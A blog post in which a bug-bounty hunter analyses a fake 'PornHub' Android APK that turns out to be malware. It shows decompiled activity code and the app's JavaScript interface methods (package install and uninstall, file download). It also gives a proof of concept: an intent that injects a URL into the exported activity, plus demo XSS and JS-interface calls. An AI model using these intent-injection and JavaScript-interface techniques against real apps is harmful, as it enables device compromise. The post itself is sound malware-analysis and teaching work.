I haven’t had much luck with bug bounties. At the time of writing, all of my submissions except one have been duplicates, which can be really demotivating. But instead of giving up, I decided to shift my focus over to learning how to analyze mobile applications, particularly Android APKs. Since then, I’ve glanced through a number of APKs while looking for low hanging fruit. With only a minor understanding of the mobile world, I looked through previously disclosed bounties in order to see what kind of things I should be looking for. This sent me down a spiral of activities, intents, providers, services and other things I quickly began to grasp. After going through a majority of the APKs listed on HackerOne with little success, I decided to go do what most guys do when they’re bored: go look at porn.


The Setup

Phone: Samsung Galaxy Tab A (SM-T350)
OS: Android Marshmallow (6.0.1)
IDE: Android Studio 3.4

The Target

The initial target was intended to be the PornHub mobile application. However, what I came across was malware posing as Pornhub, and as a result, I ended up performing some malware analysis as opposed to looking for vulnerabilities to exploit. While I have access to the Play Store on my device, I was looking through a lot of APKs that could not be found there (like banking apps for other countries). For those apps, I was using APKPure to download a copy after ensuring the package name was correct and the version of the app was as recent as possible. For whatever reason, I didn’t originally validate the “PornHub” app when I downloaded and installed it on my device.

My bad.

Initial Analysis

In what I assume is an effort to maintain legitimacy, PornHub hosts their APK on their website. This is likely due to the history of trojan horse apps found on the Google Play Store. Here is a summary of what the official app looks like as opposed to the fake app according to the Mobile Security Framework:

The random package name and main activity name were pretty suspicious, as neither reference PornHub. A quick check on VirusTotal shows that at least AV vendor determined the APK to be malicious.

So let’s get into what makes this malicious.

Exported Activities

An Android activity is basically any page that shows up on in an app. It could be a launch page, login page, some sort of webview, etc. Sometimes, activities are exported so that another application can interact with them. This is one of the first things I’ve learned to look at when analyzing APKs. The Mobile Security Framework (MobSF) reported 12 external activities:

  • com.xxconnect.mask.MainActivity.whatsapp
  • com.xxconnect.mask.MainActivity.twitter
  • com.xxconnect.mask.MainActivity.snapchat
  • com.xxconnect.mask.MainActivity.pinterest
  • com.xxconnect.mask.MainActivity.messenger
  • com.xxconnect.mask.MainActivity.instagram
  • com.xxconnect.mask.MainActivity.facebook
  • com.xxconnect.mask.MainActivity.chrome
  • com.xxconnect.mask.MainActivity.yonote
  • com.xxconnect.mask.MainActivity.bumail
  • com.xxconnect.mask.MainActivity.original

According to the AndroidManifest.xml, all of these activities were actually disabled and were just aliases for com.xxconnect.mask.MainActivity. And while this particular activity was not exported, com.xxconnect.mask.MainActivity.original was an exported activity meaning that ultimately, any application could interact with com.xxconnect.mask.MainActivity.

MainActivity

One of the first things to look for when checking an exported Activity is the onCreate function which runs when the Activity is created. Shout out to sensible naming.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
@Override
protected void onCreate(@Nullable Bundle object) {
    try {
        if (this.getAppAdapter().isActivityProxyEnabled(this)) {
            this.getAppAdapter().onCreate(this, (Bundle)object, (Function1<? super Bundle, Unit>)new 
Function1<Bundle, Unit>(this){
                final /* synthetic */ MainActivity this$0;
                {
                    this.this$0 = mainActivity;
                    super(1);
                }

                public final void invoke(@Nullable Bundle bundle) {
                    MainActivity.access$onCreate$s1136912392(this.this$0, bundle);
                }
            });
            return;
        }
    }
    catch (AppAdapterInterface.ActivityProxyException | AbstractMethodError throwable) {}
    this.setTheme(2131755014);
    super.onCreate((Bundle)object);
    this.setContentView(2131492894);
    object = this.getIntent().getStringExtra("url");
    boolean bl = object == null || StringsKt.isBlank((CharSequence)object);
    if (bl) {
        object = this.getAppAdapter().getStartPageUrl();
    }
    this.isStartPage = this.isStartPage((String)object);
    this.isVideoPage = this.getAppAdapter().isVideoPage((String)object);
    this.setSupportActionBar((Toolbar)this._$_findCachedViewById(R.id.toolbar));
    android.support.v7.app.a a2 = this.getSupportActionBar();
    if (a2 != null) {
        a2.e(false);
    }
    if ((a2 = this.getSupportActionBar()) != null) {
        a2.d(true);
    }
    if (this.isStartPage) {
        a2 = this.getSupportActionBar();
        if (a2 != null) {
            a2.b(2131230825);
        }
        if ((a2 = this.getSupportActionBar()) != null) {
            a2.c(2131230885);
        }
    } else {
        a2 = this.getSupportActionBar();
        if (a2 != null) {
            a2.a((CharSequence)null);
        }
    }
    ((FloatingActionButton)this._$_findCachedViewById(R.id.downloadVideoButton)).setOnClickListener(new 
View.OnClickListener(this){
        final /* synthetic */ MainActivity this$0;
        {
            this.this$0 = mainActivity;
        }

        public final void onClick(View view) {
            MainActivity.access$requestDownloadVideo(this.this$0);
        }
    });
    this.initSearchEditText();
    this.initWebView();
    this.setCookies((String)object);
    if (this.isStartPage) {
        this.verifyPassword();
        
((ImageView)this._$_findCachedViewById(R.id.logoView)).startAnimation(AnimationUtils.loadAnimation((Context)this, 
(int)2130771986));
        this.hideSplashView(2000L);
        this.overridePendingTransition(0, 0);
        ClientUpdate.Companion.checkUpdate$default(ClientUpdate.Companion, (Context)this, false, false, 
6, null);
        AppAdapterFactory.updateAppAdapterDex$default(AppAdapterFactory.INSTANCE, (Context)this, false, 
2, null);
        new Handler().postDelayed(new Runnable(this){
            final /* synthetic */ MainActivity this$0;
            {
                this.this$0 = mainActivity;
            }

            public final void run() {
                MainActivity.access$showNewFeature(this.this$0);
            }
        }, 2000L);
        ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object);
    } else {
        this.hideSplashView();
        this.overridePendingTransition(2130771987, 2130771989);
        ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object);
    }
    try {
        this.getAppAdapter().onCreated(this);
        return;
    }
    catch (AbstractMethodError abstractMethodError) {
        return;
    }
}

This is a lot to look through, but the only thing that really matters is the highlighted line 65 initWebView() which suggests that the main activity directly launches the WebView that is presented to the user. This turns out to be the case (as indicated by this) and we can just look at the WebView function to see what kind of settings the WebView has.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
private final void initWebView() {
    this.initWebViewBehavior();
    this.initWebViewSettings();
    this.initWebViewJavascriptInterface();
    this.initWebViewUi();
    try {
        this.getAppAdapter().initWebView((NestedWebView)this._$_findCachedViewById(R.id.webView));
        return;
    }
    catch (AbstractMethodError abstractMethodError) {
        return;
    }
}

Javascript Interfaces

The immediate standout is the initWebViewJavascriptInterface() call. It turns out that there is a way for Javascript to communicate with functions written in the java classes, and that is with a Javascript Interface. This means that any webpage that is aware the application is calling it can interact directly with the code by the interface name.

private final void initWebViewJavascriptInterface() {
    this.addWebViewJavascriptAppInterface();
    this.addWebViewJavascriptBrowserInterface();
    this.addWebViewJavascriptTrackerInterface();
}

There’s three interfaces implemented but I focused on the what appeared to be the main one, offering the most functionality. Within the MainActivity, a JS interface named app is created. What does this interface do? Luckily, the malware author didn’t obfuscate any of the function names so here are some important ones:

  • checkUpdate(): Allows the attacker to update the app.
  • downloadFile(): Overloaded method. Allows the attacker to download files to the device. Optional arguments include opening file when download complete.
  • downloadVideo(): Allows the attacker to download videos to the device.
  • installPackage(): Allows the attacker to install additional packages.
  • openFile(): Allows the attacker to open a file.
  • openPackage(): Allows the attacker to open an application.
  • openUri(): Allows an attacker to open a URI on the device.
  • openUriWithChromeCustomTabs(): Allows an attacker to open up Chrome tabs.
  • showLongToast(): Allows the attacker to create an Android toast message that shows up at the bottom of the screen.
  • showSnackbar(): Allows the attacker to create a Snackbar popup.
  • startActivityWithAction(): Allows the attacker to open exported Activities of other applications.
  • startActivityWithComponent(): Allows the attacker to open exported Activities of other applications.
  • uninstallPackage(): Allows the attacker to uninstall packages.

There’s several other functions used for enumeration of the device, but these are the primary ones that enable malicious actions. Of course, since this Activity is exported, that means we can do this ourselves!

Exploiting the MainActivity

The terminology used to describe how one application talks to another is called an “intent”. Therefore, in order to manipulate this malware, we must create an intent of our own to send. Within the Main Activity code posted earlier, there’s some key information we need in order to manipulate the app.

@Override
protected void onCreate(@Nullable Bundle object) {
    //.. (snipped for brevity)
    object = this.getIntent().getStringExtra("url");
    boolean bl = object == null || StringsKt.isBlank((CharSequence)object);
    if (bl) {
        object = this.getAppAdapter().getStartPageUrl();
    }
    this.isStartPage = this.isStartPage((String)object);
    this.isVideoPage = this.getAppAdapter().isVideoPage((String)object);
    this.setSupportActionBar((Toolbar)this._$_findCachedViewById(R.id.toolbar));
    //.. (snipped for brevity)
    this.initSearchEditText();
    this.initWebView();
    this.setCookies((String)object);
    if (this.isStartPage) {
        //.. (snipped for brevity)
        ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object);
    } else {
        this.hideSplashView();
        this.overridePendingTransition(2130771987, 2130771989);
        ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object);
    }
    //.. (snipped for brevity)
}

We can see that the onCreate function references the calling intent and grabs a string named url, then later calls loadUrl with the URI as the parameter. This is the concept of an “Extra”. An Extra is simply a way to provide additional information with the intent. In this case, we provide a string with an Extra designated as url.

I have an Android Studio APK project that I’ve been using to perform these kinds of tests. While setting up the project is outside the scope of this post, it’s great that Android Studio does things like import classes for you when you reference them. For example, if I make an Intent object, Android Studio will automatically import android.content.Intent. So what does the exploit look like? It’s literally just an Intent object with parameters set.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package com.example.exploiter;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = new Intent();
        intent.setClassName("com.aggce.eigcw", "com.xxconnect.mask.MainActivity");
        intent.putExtra("url", "http://192.168.1.129:8008/index.html");
        startActivity(intent);
    }
}

That’s all there is to it (in this case anyway). This is a good time to mention when the app normally opens, it connects to the malicious domain with a redirect to PornHub in the URL parameters (i.e https://MALICIOUS.COM/pages/ads/ad.html?r=https://www.pornhub.com). However, since we passed in the URI extra, it attempts to open the page specified instead. This is a very basic implementation of what appears to be a common Android app vulnerability.

What the app normally looks like on launch:

Here’s what it looks like redirecting to my own URL. Unfortunately, the page does not render text for whatever reason but since it’s HTML and Javascript is enabled, I can perform some XSS with the following payload:

<html>
    <head>
        <title>Daddycocoaman's Test</title>
    </head>
    <body>
        <script>
            alert('This is XSS!');
        </script>
    </body>
</html>

Exploiting Javascript Interfaces

Exploiting the app Javascript Interface is as simple as calling the object in Javascript. The functions that are included in the app are the same functions that we can call via JS! This also appears to be a common vulnerability in Android applications. Let’s add some of that functionality to the HTML page:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<html>
    <head>
        <title>Daddycocoaman's Test</title>
    </head>
    <body>
        <script>
            if (window.app)
            {
                app.showLongToast("This is a long toast! Thanks JS Interface!");
                if (window.app.isPackageInstalled("com.paypal.here"))
                {
                    alert("Paypal Here is Installed!");
                }
            }
        </script>
    </body>
</html>

First, we determine if the app interface exists. If it does, then we will show a Toast message with the specified text. Next, we determine if the device has the Paypal Here app installed and if it does, we get an alert. Since all of these conditions are true, we get the following result:

There’s a lot of actions the app allows through the Javascript Interface implementation but this should give a general idea of how easy it is to exploit them.

Conclusion

So there you have it: how my bug bounty hunt turned into malware analysis. There’s a lot more than this application does including dropping native ARM libraries, linking to additional malicious URLs, and even prompting the user to download additional malware.

The moral of the story is: If it’s not from the official website, it’s the wrong porn.

I’m gonna go set my Samsung tablet on fire now. Or maybe it’ll do it for me. Who knows?